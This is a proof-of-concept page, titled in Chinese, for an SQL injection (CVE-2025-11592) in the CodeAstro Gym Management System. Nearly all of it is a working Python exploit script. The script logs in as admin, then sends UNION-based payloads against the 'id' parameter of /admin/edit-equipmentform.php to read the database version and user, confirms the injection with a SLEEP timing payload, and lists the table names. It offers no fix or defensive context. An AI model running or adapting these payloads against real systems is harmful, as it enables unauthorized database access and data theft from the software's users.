CVE-2025-11592：CodeAstro健身房管理系统SQL注入漏洞

# CVE-2025-11592 PoC - SQL Injection in CodeAstro Gym Management System # Vulnerable file: /admin/edit-equipmentform.php # Vulnerable parameter: ID import requests # Target configuration TARGET_URL = "http://target.com" ADMIN_PATH = "/admin/edit-equipmentform.php" USERNAME = "admin" PASSWORD = "password" # Create a session to maintain cookies session = requests.Session() # Step 1: Login as admin (low privilege required) login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } login_url = f"{TARGET_URL}/admin/" session.post(login_url, data=login_data) # Step 2: Exploit SQL Injection via ID parameter # Payload to extract database version sqli_payload = "1' UNION SELECT 1,version(),database(),user(),5-- -" inject_url = f"{TARGET_URL}{ADMIN_PATH}?id={sqli_payload}" response = session.get(inject_url) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # Step 3: Extract sensitive data using boolean-based or time-based techniques # Time-based blind SQLi payload time_payload = "1' AND SLEEP(5)-- -" time_url = f"{TARGET_URL}{ADMIN_PATH}?id={time_payload}" import time start_time = time.time() response = session.get(time_url) elapsed_time = time.time() - start_time print(f"Time elapsed: {elapsed_time:.2f} seconds") if elapsed_time > 4: print("[+] SQL Injection confirmed via time-based technique") # Step 4: Extract database information info_payload = "1' UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -" info_url = f"{TARGET_URL}{ADMIN_PATH}?id={info_payload}" response = session.get(info_url) print(f"Database tables info: {response.text[:500]}")